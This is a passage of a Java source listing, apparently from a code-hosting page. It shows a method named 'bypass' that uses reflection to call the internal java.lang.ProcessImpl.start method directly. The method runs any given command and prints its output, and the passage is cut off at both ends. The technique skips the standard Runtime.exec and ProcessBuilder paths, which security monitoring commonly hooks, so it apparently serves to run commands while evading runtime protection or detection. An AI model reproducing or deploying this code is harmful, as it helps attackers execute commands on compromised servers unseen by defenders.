(String[] cmd)
| 13 | } |
| 14 | |
| 15 | public static void bypass(String[] cmd) throws Exception{ |
| 16 | Map<String,String> envblock=null; |
| 17 | String path=null; |
| 18 | ProcessBuilder.Redirect[] stdHandles=null; |
| 19 | boolean redirectErrorStream=true; |
| 20 | |
| 21 | Class C = Class.forName("java.lang.ProcessImpl"); |
| 22 | Method start = C.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); |
| 23 | start.setAccessible(true); |
| 24 | Process e = (Process) start.invoke(null, cmd, envblock, path, stdHandles, redirectErrorStream); |
| 25 | |
| 26 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(e.getInputStream())); |
| 27 | String line; |
| 28 | while ((line=bufferedReader.readLine())!=null){ |
| 29 | System.out.println(line); |
| 30 | } |
| 31 | bufferedReader.close(); |
| 32 | } |
| 33 | |
| 34 | |
| 35 | public static Process ProcessImpl(String[] cmd)throws Exception{ |
no test coverage detected